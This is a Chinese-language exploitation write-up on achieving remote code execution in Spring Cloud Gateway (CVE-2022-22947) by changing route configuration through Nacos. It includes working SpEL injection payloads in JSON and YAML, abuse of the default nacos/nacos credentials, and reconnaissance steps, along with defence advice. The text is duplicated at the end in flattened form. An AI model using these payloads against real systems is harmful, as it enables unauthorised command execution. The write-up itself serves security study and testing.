Nacos结合Spring Cloud Gateway RCE利用
字数 1541 2025-08-27 12:33:43

Nacos结合Spring Cloud Gateway RCE利用分析

1. 漏洞背景与前置知识

1.1 Spring Cloud Gateway简介

Spring Cloud Gateway是一个功能强大的微服务网关,主要功能包括:

  • 请求拦截与路由转发
  • 基于predicates(断言)的路由匹配
  • 使用Filter进行请求/响应修改
  • 支持动态路由配置

1.2 Nacos简介

Nacos是一个统一管理的配置注册中心,主要特性:

  • 动态配置管理:应用通过绑定组和dataID来获取配置
  • 服务发现与注册:微服务可注册到Nacos
  • 配置自动同步:当Nacos配置更新时,应用会自动同步新配置

1.3 CVE-2022-22947漏洞回顾

漏洞本质:通过动态配置路由执行SpEL表达式注入

利用条件:

  • 需要访问Actuator API(/actuator/gateway/routes)
  • 需要开启以下配置:
    management.endpoint.gateway.enabled: true
    management.endpoints.web.exposure.include: gateway
    

典型POC:

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "order": 0
}

2. 环境搭建

2.1 Nacos环境搭建

  1. 下载Nacos Release版本:https://github.com/alibaba/nacos/releases/tag/2.1.0
  2. 解压后运行:sh startup.sh -m standalone
  3. 访问:localhost:8848/nacos,默认账号密码:nacos/nacos

2.2 Spring Cloud Gateway项目配置

示例项目:https://github.com/B0rn2d/Spring-Cloud-Gateway-Nacos

关键配置项(bootstrap.yml):

spring:
  cloud:
    nacos:
      config:
        name: gateway
        file-extension: yaml
        group: DEFAULT_GROUP
        server-addr: 127.0.0.1:8848
      discovery:
        server-addr: 127.0.0.1:8848

2.3 服务注册与路由测试

  1. 创建service-provider服务(端口8070)
  2. 在Nacos配置路由规则:
spring:
  cloud:
    gateway:
      routes:
      - id: exam
        order: 0
        uri: lb://service-provider
        predicates:
        - Path=/echo/**

3. 漏洞利用方法

3.1 信息收集

  1. 查找监听配置的应用

    • 在Nacos控制台查看"监听查询"功能
    • 获取监听Spring Cloud Gateway配置的服务器IP
  2. 定位服务端口

    • 检查"服务管理"中的服务详情
    • 对比监听IP与服务注册IP,确定具体端口

3.2 通过Nacos动态配置实现RCE

修改Nacos中的Gateway配置,添加恶意路由:

spring:
  cloud:
    gateway:
      routes:
      - id: exam
        order: 0
        uri: lb://service-provider
        predicates:
        - Path=/echo/**
        filters:
        - name: AddResponseHeader
          args:
            name: result
            value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

关键注意事项:

  1. 必须替换SpEL表达式中的换行符(\n和\r)
  2. YAML中SpEL表达式必须用双引号包裹,内部使用单引号
  3. 修改后无需重启服务,配置会自动同步

3.3 验证利用

访问配置的路由路径(如/echo/123),查看响应头中的result字段,确认命令执行结果。

4. 利用限制与绕过

  1. Actuator未开启时的利用

    • 传统方法需要开启Actuator端点
    • 通过Nacos修改配置无需Actuator
  2. 配置修改限制

    • 直接开启Actuator需要重启应用,不可行
    • 动态路由配置无需重启
  3. 命令回显处理

    • 必须处理命令输出中的特殊字符
    • 使用.replaceAll('\n','').replaceAll('\r','')清理输出

5. 防御建议

  1. Nacos安全配置

    • 修改默认密码
    • 启用认证机制
    • 限制配置修改权限
  2. Spring Cloud Gateway安全配置

    • 禁用Actuator端点或限制访问
    • 及时更新补丁
    • 限制动态路由配置权限
  3. 网络层面

    • 限制Nacos管理界面访问
    • 对微服务间通信实施网络隔离

6. 扩展思考

这种通过配置中心动态修改配置的利用方式可应用于:

  1. 需要修改配置文件才能触发的漏洞
  2. 依赖动态配置的中间件漏洞
  3. 微服务架构中的横向移动

在渗透测试中,发现Nacos时应:

  1. 检查是否存在弱口令或未授权访问
  2. 分析配置内容寻找敏感信息
  3. 查找监听配置的应用进行内网探测
  4. 尝试通过修改配置实现漏洞利用
Nacos结合Spring Cloud Gateway RCE利用分析 1. 漏洞背景与前置知识 1.1 Spring Cloud Gateway简介 Spring Cloud Gateway是一个功能强大的微服务网关,主要功能包括: 请求拦截与路由转发 基于predicates(断言)的路由匹配 使用Filter进行请求/响应修改 支持动态路由配置 1.2 Nacos简介 Nacos是一个统一管理的配置注册中心,主要特性: 动态配置管理:应用通过绑定组和dataID来获取配置 服务发现与注册:微服务可注册到Nacos 配置自动同步:当Nacos配置更新时,应用会自动同步新配置 1.3 CVE-2022-22947漏洞回顾 漏洞本质:通过动态配置路由执行SpEL表达式注入 利用条件: 需要访问Actuator API(/actuator/gateway/routes) 需要开启以下配置: 典型POC: 2. 环境搭建 2.1 Nacos环境搭建 下载Nacos Release版本:https://github.com/alibaba/nacos/releases/tag/2.1.0 解压后运行: sh startup.sh -m standalone 访问: localhost:8848/nacos ,默认账号密码:nacos/nacos 2.2 Spring Cloud Gateway项目配置 示例项目:https://github.com/B0rn2d/Spring-Cloud-Gateway-Nacos 关键配置项(bootstrap.yml): 2.3 服务注册与路由测试 创建service-provider服务(端口8070) 在Nacos配置路由规则: 3. 漏洞利用方法 3.1 信息收集 查找监听配置的应用 : 在Nacos控制台查看"监听查询"功能 获取监听Spring Cloud Gateway配置的服务器IP 定位服务端口 : 检查"服务管理"中的服务详情 对比监听IP与服务注册IP,确定具体端口 3.2 通过Nacos动态配置实现RCE 修改Nacos中的Gateway配置,添加恶意路由: 关键注意事项: 必须替换SpEL表达式中的换行符(\n和\r) YAML中SpEL表达式必须用双引号包裹,内部使用单引号 修改后无需重启服务,配置会自动同步 3.3 验证利用 访问配置的路由路径(如 /echo/123 ),查看响应头中的 result 字段,确认命令执行结果。 4. 利用限制与绕过 Actuator未开启时的利用 : 传统方法需要开启Actuator端点 通过Nacos修改配置无需Actuator 配置修改限制 : 直接开启Actuator需要重启应用,不可行 动态路由配置无需重启 命令回显处理 : 必须处理命令输出中的特殊字符 使用 .replaceAll('\n','').replaceAll('\r','') 清理输出 5. 防御建议 Nacos安全配置 : 修改默认密码 启用认证机制 限制配置修改权限 Spring Cloud Gateway安全配置 : 禁用Actuator端点或限制访问 及时更新补丁 限制动态路由配置权限 网络层面 : 限制Nacos管理界面访问 对微服务间通信实施网络隔离 6. 扩展思考 这种通过配置中心动态修改配置的利用方式可应用于: 需要修改配置文件才能触发的漏洞 依赖动态配置的中间件漏洞 微服务架构中的横向移动 在渗透测试中,发现Nacos时应: 检查是否存在弱口令或未授权访问 分析配置内容寻找敏感信息 查找监听配置的应用进行内网探测 尝试通过修改配置实现漏洞利用